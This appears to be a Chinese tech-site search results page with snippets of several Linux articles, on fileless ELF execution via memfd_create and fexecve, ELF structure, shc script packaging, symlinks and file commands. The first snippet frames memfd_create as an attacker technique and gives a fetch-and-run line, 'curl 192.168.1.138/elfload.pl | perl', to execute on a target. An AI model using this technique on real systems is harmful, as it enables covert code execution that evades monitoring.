首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...,在memfd:后面会出现对于该文件名称,甚至对于匿名文件的命名可以是空的。...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.5K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...对fexecve_test.c 进行编译并执行可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?...大家可以看到shmopen 其实是在/dev/shm创建文件,而execve的执行文件为/proc/self/fd/3,为进程中打开的文件符号链接,这个指向的就是shm_open创建的文件,但是从监控execve

4.5K40

pycharm编写的文件如何执行_pycharm可以写java吗

于是我将采用最简洁的方法 Runtime.getRuntime()运行 python代码,下面给出代码 Process proc; try { /* 注意: 这里这种方式和cmd中使用python+文件名的命令...,调用python程序相同 建议先使用cmd方式确认代码能够正常运行,因为如果代码在pycharm下编写执行, 可能在cmd方式下会出现缺少包的情况 */ proc = Runtime.getRuntime...().exec(“python D:\\LL1.py”);// 执行py文件 proc.waitFor(); } catch (IOException e) { e.printStackTrace(...); } catch (InterruptedException e) { e.printStackTrace(); } 上面给出的是一个简单的执行python文件的方法, exec(“python...py文件 BufferedReader in = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line

89320

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...对于一段脚本,提供给用户使用,但是不希望用户看到脚本的内容,可以通过将脚本发布为.bin的形式。这样用户在环境中可以执行、安装,但是无法看到里面的内容,也无法修改,从而达到保护脚本内容的目的。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell

9.1K20

详解 Linux执行文件 ELF 文件的内部结构

有了上面汇编语言调用 C 语言的基础,我们就可以做到让汇编语言编写的 loader 拉起用 C 语言编写的内核了,本文我们就来详细了解一下编译后的可执行文件 — ELF 文件的结构,下一篇文章将会介绍如何通过汇编将...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....可重定位文件, 2. 可执行文件, 3....Elf32_Word p_align; } Elf32_Phdr; 通过 readelf -l 命令我们就可以查看文件的 program headers 信息了: 从图中,我们可以看到这个...别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行

2.7K21

Linux系统创建可执行文件软链接

这里我们使用的案例是通过TMalign这个蛋白质打分文件,在编译好可执行文件之后,可以使用建立软链接的方法快捷的使用该可执行文件。...下载到本地目录下之后,可以执行如下指令进行编译(如果是Mac可能需要去掉static): $ g++ -static -O3 -ffast-math -lm -o TMalign TMalign.cpp...,有时候会遇到想把可执行文件放在特定的路径下的问题,比如放到/usr/bin目录下,这样可以全局可调用,又不需要手动添加各种乱七八糟的系统路径。...这就需要使用到Linux中的软链接的功能,通常使用ln -s的指令即可。...本文顺带介绍了蛋白质结构评分软件TMalign的源码下载和安装使用的基本方法,编译成一个可执行文件后,可以建立一个软链接,在系统各处都可以使用,是一个比较基础的操作。

2.8K20

linux可以用0.2秒复制100G文件???

背景是这样的:他用cp拷贝了一个 100 G 的文件,竟然一秒不到就拷贝完成了! 用ls看一把文件,显示文件确实是 100 G。...文件系统 文件系统听起来很高大上,通俗话就用来存数据的一个容器而已,本质和你的行李箱、仓库没有啥区别,只不过文件系统存储的是数字产品而已。...我有一个视频文件,我把这个视频放到这个文件系统里,下次来拿,要能拿到我完整的视频文件数据,这就是文件系统,对外提供的就是存取服务。...,对比上面的行李存取行为,可以做个简单的类比; 1.登记名字就是在文件系统记录文件名; 2.生成的牌子就是元数据索引; 3.你的行李就是文件; 4.寄存室就是磁盘(容纳东西的物理空间); 5.管理员整套运行机制就是文件系统...一个 block 4K,每个元素 4 字节,也就是有 1024 个编号位置可以存储。 所以,一级索引能寻址 4M(1024 * 4K)空间 。

62920

Linux 文件操作命令(cat tac竟然可以反着写)

Linux文件操作(cat tac竟然可以反着写) 1.1 touch 创建文件命令 1. 创建文件 touch xxx.txt 2....创建带有空格的文件,需要带上引号 touch "pro file" 1.2 cat 查看文件内容 1. 查看内容 cat xxx.txt 2. 查看时显示行数 cat -n xxx.txt 3....查看文件 more xxx.txt ==操作:Enter 换行 ==空格:翻页 ==q:退出 1.4 Less查看文件内容 1.查看文件可以上下翻页,弥补了more的缺点 less xxx.txt =...=Enter下一行 ==空额翻页 ==上下箭头可以换行 ==pgUp向上翻页 ==也可以搜索内容 /xxx 按n找下一个 1.5 Head Tail查看文件头部和尾部 1....Tail 默认显示尾部10行 tail xxx.txt ==执行行数 tail -n 6 xxx.txt 显示末尾6行 ==实时查看文件动态 tail -f xxx.txt 文件内容改变时可以动态显示

2.1K20
领券